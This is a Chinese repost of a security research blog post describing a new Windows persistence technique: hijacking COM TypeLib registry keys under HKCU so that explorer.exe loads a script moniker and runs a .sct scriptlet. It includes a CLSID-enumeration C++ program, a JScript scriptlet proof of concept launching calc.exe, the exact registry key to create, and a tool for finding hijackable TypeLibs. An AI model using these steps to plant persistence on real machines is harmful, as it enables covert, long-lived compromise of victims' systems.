哈克k1
发布于 IP属地北京

新的 COM 持久性技术:劫持 TypeLib

本文转载自medium:https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661

攻击者使用各种方法在计算机上获取持久性:AutoRun 文件夹、计划任务、注册表项。但是,这些方法为防御者所熟知,这使得它们很容易被发现。

还有更奇特的持久性方法:Compromise Client Software Binary(例如 AppDomain 劫持)、Filter Handlers、Application Shimming、COM Hijacking。

即使保护系统配置正确,这些方法也很容易被检测到。

所以我决定寻找一些新的坚持方式。研究对象是 COM(组件对象模型)系统。这个选择不是偶然做出的,它是一个相当古老的、不太简单、不太复杂的系统,没有多少人理解。

在本文中,我将介绍 TypeLib 库,了解 TypeLib 和 COM 之间的关系,并使用 TypeLib 实现持久化代码执行。

TL;DR

已发现用于将 TypeLib 库加载到进程中的 LoadTypeLib() 函数会查看某些注册表项,以尝试发现目标库的路径。根据文档,如果函数检测到名字对象(COM 对象的字符串表示形式)而不是磁盘路径,则会在进程中加载和执行名字对象。

新的 COM 持久性技术-劫持 TypeLib

因此,如果 explorer.exe 调用 LoadTypeLib() 函数,并且我们劫持了名字对象所需的注册表项,则名字对象将在 explorer.exe 中实例化,并执行其代码。

我还将介绍我们创建的 TypeLibWalker 工具,用于检测可用于劫持的 TypeLib。

什么是 TypeLib?

COM 功能存在于特定文件中:DLL 库或 EXE,这并不是什么秘密。但是,从哪里可以找到有关特定 COM 类的文档?这就是 Microsoft 提出 TypeLib 的原因。

TypeLib 包含有关 COM 类的信息,这些信息位于一个文件中。在 TypeLib 中,您可以找到类、接口和方法描述的列表。

以编程方式,您可以使用ITypeLib和ITypeInfo接口与 TypeLib 进行交互。例如,在我们的COMThanasia存储库中,我们使用这些接口来接收有关特定 CLSID 的信息。

PS A:\ssd\gitrepo\COMThanasia\ClsidExplorer\x64\Debug> .\CLSIDExplorer.exe --clsid "{00000618-0000-0010-8000-00aa006d2ea4}"
[{00000618-0000-0010-8000-00aa006d2ea4}]
        AppID: Unknown
        ProgID: Unknown
        PID: 1572
        Process Name: CLSIDExplorer.exe
        Username: WINPC\\Michael
        Methods:
        [0] __stdcall void QueryInterface(IN GUID*, OUT void**)
        [1] __stdcall unsigned long AddRef()
        [2] __stdcall unsigned long Release()
        [3] __stdcall void GetTypeInfoCount(OUT unsigned int*)
        [4] __stdcall void GetTypeInfo(IN unsigned int, IN unsigned long, OUT void**)
        [5] __stdcall void GetIDsOfNames(IN GUID*, IN char**, IN unsigned int, IN unsigned long, OUT long*)
        [6] __stdcall void Invoke(IN long, IN GUID*, IN unsigned long, IN unsigned short, IN DISPPARAMS*, OUT VARIANT*, OUT EXCEPINFO*, OUT unsigned int*)
        [7] __stdcall BSTR Name()
        [8] __stdcall void Name(IN BSTR)
        [9] __stdcall RightsEnum GetPermissions(IN VARIANT, IN ObjectTypeEnum, IN VARIANT)
        [10] __stdcall void SetPermissions(IN VARIANT, IN ObjectTypeEnum, IN ActionEnum, IN RightsEnum, IN InheritTypeEnum, IN VARIANT)
        [11] __stdcall void ChangePassword(IN BSTR, IN BSTR)
        [12] __stdcall Groups* Groups()
        [13] __stdcall Properties* Properties()
        [14] __stdcall _Catalog* ParentCatalog()
        [15] __stdcall void ParentCatalog(IN _Catalog*)
        [16] __stdcall void ParentCatalog(IN _Catalog*)
[END]

在代码中,我们定义了一个仅具有两个方法的 TypeLib 类,这足以提取 COM 类的函数签名。

您还可以使用TypeLibInfoTool探索 TypeLib 。

什么是moniker?

名字对象是 COM 对象的字符串表示形式。字面上与对象相同,只是作为一个简单的字符串。

更准确地说,名字对象是一种通过特殊名称来识别 COM 对象的方法。名字对象功能也可以在 DLL 中表示。

黑客使用很多名字来执行攻击任务。例如,LeakedWallpaper项目是一个针对 Windows 系统的 LPE 漏洞,它滥用了 Session Moniker。除此之外,还有Elevation Monikers可让您绕过 UAC。

还有常见的标记,但没有有趣的功能。那就是Class Moniker。Class Moniker 允许您通过 CLSID 启动 COM 对象,仅此而已。以下是 Class Moniker 的示例。

“clsid:a7b90590-36fd-11cf-857d-00aa006d2ea4:”

链接 COM 和 Typelib

COM 类如何链接到 TypeLib?在 COM 对象键内,有一个名为的键TypeLib。

例如,在本例中,有一个 CLSID 为 的 COM 对象{EAE50EB0-4A62-11CE-BED6-00AA00611080},它与 TypeLib ID 为 的 TypeLib 相关联{0D452EE1-E08F-101A-852E-02608C4D0BB4}。TypeLib 库的版本在键中定义Version。

HKCU\Software\Classes\TypeLib\<TypeLib ID>\<Version>

HKLM\Software\Classes\TypeLib\<TypeLib ID>\<Version>

# Ex
 HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0

发现 TypeLib 加载到 key 0->architecture ( win32/Win64)->路径上Default Value.


找到的路径被传递给 LoadTypeLib() 函数。这就是技巧所在。如果此函数收到名字对象作为输入,它将执行该名字对象。这样,我们可以劫持注册表中的值并强制进程执行我们的代码。唯一的困难是我们需要确定进程正在加载哪个 TypeLib 库。

选择正确的名字

假设我们已经学会了如何强制进程加载我们想要的名字。但是我们应该使用哪个名字呢?

于是,我开始研究。网络上没有现成的 Windows 名字对象列表。然而,这对研究人员来说什么时候是个问题呢?根据文档,名字对象是所有实现 IMoniker 接口的对象。而名字对象本身实际上与 COM 对象相同。是什么阻止我们创建一个对象,然后调用 QueryInterface() 并检查该对象是否具有 IMoniker 接口?没有!继续编写代码吧!

#include <windows.h>
#include <iostream>
#include <objbase.h>
#include <combaseapi.h>
#include <objidl.h>
#include <atlbase.h>

LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS exceptionInfo)
{
 std::wcout << "Wow!! Something had broken" << std::endl;
 return EXCEPTION_CONTINUE_EXECUTION;
}

bool InitializeCOM() {
 HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
 return SUCCEEDED(hr);
}


bool DoesObjectImplementIMoniker(REFCLSID clsid) {
 IMoniker* pMoniker = nullptr;
 IUnknown* pUnknown = nullptr;

 HRESULT hr = CoCreateInstance(clsid, nullptr, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown);
 if (SUCCEEDED(hr) && pUnknown) {

  hr = pUnknown->QueryInterface(IID_IMoniker, (void**)&pMoniker);
  if (SUCCEEDED(hr)) {
   LPOLESTR wsclsid = nullptr;
   hr = StringFromCLSID(clsid, &wsclsid);

   if (SUCCEEDED(hr))
   {
    //std::wcout << L"CLSID:" << wsclsid << std::endl;
    pMoniker->Release();
    pUnknown->Release();
    CoTaskMemFree(wsclsid);
    return true;
   }
  }
  pUnknown->Release();
 }


 return false;

}

void EnumerateAllCLSID() {
 HKEY hKey;
 if (RegOpenKeyEx(HKEY_CLASSES_ROOT, L"CLSID", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
  wchar_t clsidStr[39];
  DWORD index = 0;
  DWORD size = sizeof(clsidStr) / sizeof(clsidStr[0]);

  while (RegEnumKeyEx(hKey, index, clsidStr, &size, nullptr, nullptr, nullptr, nullptr) == ERROR_SUCCESS) {

   CLSID clsid;
   if (CLSIDFromString(clsidStr, &clsid) == S_OK) {
    if (DoesObjectImplementIMoniker(clsid)) {
     LPOLESTR wsclsid = nullptr;
     HRESULT hr = StringFromCLSID(clsid, &wsclsid);
     if (SUCCEEDED(hr))
     {
      std::wcout << L"Object with CLSID " << wsclsid << L" implements IMoniker" << std::endl;
     }
    }
   }

   index++;
   size = sizeof(clsidStr) / sizeof(clsidStr[0]);
  }

  RegCloseKey(hKey);
 }
}

int main() {
 if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) == nullptr)
 {
  std::wcout << L"[-] Failed to add the exception handler!" << std::endl;
  return 1;
 }

 if (!InitializeCOM()) {
  std::cerr << "Failed to initialize COM" << std::endl;
  return 1;
 }

 EnumerateAllCLSID();

 CoUninitialize();
 return 0;
}

此代码从 HKCR 获取所有可用的 CLSID,然后检查对象上是否存在 IMoniker 接口。

实验发现,创建某些对象是不可能的,或者会导致进程崩溃。我在开发 COMThanasia 项目时遇到了这种行为。但是,我懒得修复此代码。我决定找出检测到的 CLSID 所特有的特性。

看看这个名字有多有趣?ClassMoniker。Moniker…..嗯…这真的是实现IMoniker接口的COM类的显著特征吗?

OleViewDotnet 有一个方便的功能,可以按名称对 CLSID 进行分组。我使用了这个功能,发现了许多实现名字对象的类。

在这些类的列表中,发现了一个名为“Moniker to Windows Script Component”的类。

在尝试查找 Windows Script Component 系统的示例文件时,我偶然发现了一个资源,其中描述了这些是基于 XML 的文件,其中包含操作。在这些文件中,支持脚本标记,您可以在其中指定 JScript 代码。

<?XML version="1.0"?>
<package>
<?component error="true" debug="true"?>
   <comment>
      This skeleton shows how script component elements are 
      assembled into a .wsc file.
   </comment>
<component id="MyScriptlet">
   <registration
      progid="progID"
      description="description"
      version="version"
      clsid="{00000000-0000-0000-000000000000}"/>
   <reference object="progID">
   <public>
      <property name="propertyname"/>
      <method name="methodname"/>
      <event name="eventname"/>
   </public>
   <implements type=COMhandlerName id=internalName>
      (interface-specific definitions here)
   </implements>
   <script language="VBScript">
      <![CDATA[
      dim propertyname
      Function methodname()
      ' Script here.
      End Function
      ]]>
   </script>
   <script language="JScript">
      <![CDATA[
      function get_propertyname()
      { // Script here.
      }
      function put_propertyname(newValue)
      { // Script here.
         fireEvent(eventname)
      }
      ]]>
   </script>
   <object id="objID" classid="clsid:00000000-0000-0000-000000000000">
   <resource ID="resourceID1">string or number here</resource>
   <resource ID="resourceID2">string or number here</resource>
</component>
</package>

我们可以删除一些细节,只留下有用的 JScript payload。我从这里得到了 payload 的基础。

<?xml version= "1.0" ?> 
< scriptlet > 
    < Registration 
        description = "CICADA8 RESEARCH" 
        progid = "CICADA8" 
        version = "1.0" > 
    </ Registration > 
    < script  language = "JScript" > 
        <![CDATA[ 
            var WShell = new ActiveXObject("WScript.Shell"); 
            WShell.Run("calc.exe"); 
        ]]> 
    </ script > 
</ scriptlet >

如果我们使用脚本名字对象指向此文件,则名字对象的创建将导致进程运行。

找到合适的目标

剩下的就是检测一个加载了我们可以篡改的库的进程。我打开了进程监视器,添加了过滤器……发现 explorer.exe 一直在尝试加载一些 TypeLib 库!

让我们以结果中具有 NAME NOT FOUND 状态的路径为例。

即 HKCU\Software\Classes\TypeLib{EAB22AC0–30C1–11CF-A7EB-0000C05BAE0B}\1.1。如你所见,没有这样的路径。让我们创建一个。


我们要做的就是通过指定 .sct 文件的路径来恢复该路径。


下次我们启动或关闭 explorer.exe 进程时,我们的代码就会被执行。explorer.exe 是一个在系统启动时自动启动的进程,所以我们又找到了另一种方法来获得持久性!

Typelib行者

但是,如果您不想坐在 Process Monitor 前,那么您可以尝试劫持所有您有写入权限的 Typelib。TypeLibWalker工具允许您自动检测可能被劫持的易受攻击的注册表项。

该程序还会检查磁盘路径的写入权限。您可以将后门留在合法的 TypeLib 库中。

浏览 (132)
点赞
收藏
打赏
评论